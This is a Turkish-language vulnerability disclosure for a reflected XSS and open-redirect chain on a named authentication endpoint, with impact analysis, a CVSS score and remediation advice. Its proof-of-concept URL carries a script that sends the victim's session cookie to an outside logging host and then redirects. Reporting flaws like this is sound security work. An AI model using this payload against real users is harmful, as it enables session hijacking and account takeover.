Reflected XSS Leading to Session Hijacking via Open Redirect Chain on Authentication Endpoint

Özet

Authentication endpoint üzerinde bulunan Reflected XSS zafiyeti, kontrolsüz redirect parametresi ile birleştiğinde saldırganın kullanıcı bağlamında keyfi JavaScript çalıştırmasına ve session bilgilerinin ele geçirilmesine yol açabilecek kritik bir attack chain oluşturmaktadır.

Zafiyet, kullanıcıyı güvenilir görünen bir login URL üzerinden tetiklenebilen düşük etkileşimli bir attack scenario ile istismar edilebilir. Authentication cookie'nin HttpOnly flag ile korunmaması nedeniyle risk seviyesi önemli ölçüde artmaktadır.

Etkilenen Endpoint

`https://auth.topluyo.com/!login/google/`

Zafiyetli Parametre

`go`

Zafiyet Türü

- Reflected Cross-Site Scripting (XSS)
- Open Redirect Abuse
- Session Hijacking Risk

Teknik Detaylar

`go` parametresi kullanıcı girdisini uygun output encoding uygulanmadan HTML içerisine yansıtmaktadır. Bu durum saldırganın authentication domain context'inde keyfi JavaScript execution gerçekleştirmesine olanak tanımaktadır.

Aynı parametre aynı zamanda redirect mekanizması olarak kullanıldığı için saldırgan script execution sonrası kullanıcıyı farklı bir sayfaya yönlendirebilmektedir.

Bu davranış phishing ve data exfiltration saldırıları için uygun bir zemin oluşturmaktadır.

(Proof of Concept)

Aşağıdaki URL açıldığında JavaScript execution gerçekleşmektedir:

```
https://auth.topluyo.com/!login/google/?go=<script>
navigator.sendBeacon(   "https://sibergkt.com/kaydet/log.php",
document.cookie.split("auth_session=")[1]?.split(";")[0] ); window.location =
"https://topluyo.com" </script>
```

Script execution sonrası kullanıcı fark etmeden başka bir sayfaya redirect edilmektedir.

Saldırı Vektörü

1. Saldırgan zararlı bir login link oluşturur
2. Kurban kullanıcı linke tıklar
3. Zararlı JavaScript authentication domain context’inde execute edilir
4. Session bilgilerine erişim mümkün hale gelir
5. Kullanıcı başka bir sayfaya redirect edilir
6. Saldırgan session’ı yeniden kullanabilir

Etki

Bu zafiyet aşağıdaki risklere yol açabilir:

- Session hijacking
- Account takeover
- Authentication bypass senaryoları
- Credential phishing
- User impersonation
- Malicious redirect
- Sensitive data exposure

Authentication cookie’nin HttpOnly flag ile korunmaması nedeniyle JavaScript erişimi mümkün olup risk seviyesi artmaktadır.

Risk Değerlendirmesi

High

CVSS v3.1 Vector

`AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N`

CVSS Score

8.8

Kök Neden

- Input validation eksikliği
- Output encoding uygulanmaması
- Redirect parametresinin allowlist ile kontrol edilmemesi
- Authentication cookie security flag eksikliği

Düzeltme Önerileri

- Kullanıcı girdisi HTML context’e basılmadan önce uygun encoding uygulanmalı
- Redirect parametreleri için strict allowlist kullanılmalı
- Authentication cookie’lere HttpOnly flag eklenmeli
- Secure flag uygulanmalı
- Content Security Policy (CSP) uygulanmalı
- Input validation mekanizmaları güçlendirilmeli

Güvenlik En İyi Uygulamaları

Authentication domain üzerinde çalışan tüm parametreler yüksek riskli kabul edilmeli ve strict validation uygulanmalıdır.

Sonuç

Authentication endpoint üzerinde bulunan Reflected XSS zafiyeti, Open Redirect davranışı ve güvenli olmayan cookie yapılandırması ile birleştiğinde gerçek dünyada account takeover ile sonuçlanabilecek ciddi bir security riski oluşturmaktadır.